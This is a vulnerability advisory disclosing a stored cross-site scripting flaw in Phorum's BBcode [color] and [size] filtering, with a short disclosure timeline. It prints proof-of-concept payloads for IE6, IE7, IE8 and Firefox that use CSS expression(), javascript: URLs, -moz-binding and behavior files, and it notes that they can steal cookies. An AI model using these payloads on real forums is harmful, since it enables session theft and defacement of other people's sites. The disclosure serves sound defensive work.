Phorum's filtering engine insufficiently filters some BBcode arguments. Using the bbcode tags [color] and [size] it is possible to execute Javascript using expression CSS property.
Credit:
The information has been provided by crashfr.
When the user posts the following bbcode :
[color=#000000;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/color] or [size=20px;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/size]
The application converts it into the following HTML code :
style="color:#000000;xss:expression(alert(document.cookie));">Sysdream
Testing XSS
and Sysdream
Testing XSS
For IE6 you can use this POC:
[color=#000000;background-image:url(javascript:alert('Sysdream_IE6_Alert'));]Sysdream
Testing IE6[/color]
For IE7:
[color=#000000;xss:expression(alert('Sysdream_IE7_Alert'));]Sysdream
Testing
XSS[/color]
Obviously, the POC doesn't work in IE8 and Firefox. Uploading htc (for IE8) or xml (for FF) file on the phorum using the "My Files" function in "Control Center", you can use :
POC for FF:
[color=#000000;-moz-binding:url(http://127.0.0.1/phorum/file.php?0,file=9,filename=script.xml#mycode);]Sysdream
Testing FF[/color]
POC for IE8:
[color=#000000;behavior:url(http://127.0.0.1/phorum/file.php?0,file=8,filename=script.htc);]Sysdream
Testing FF[/color]
This vulnerability can be used to modify the phorum display, to gather the victim's cookie, etc.
Disclosure Timeline:
2009/07/16 Discovery
2009/07/17 Author Contacted
2009/07/22 Released
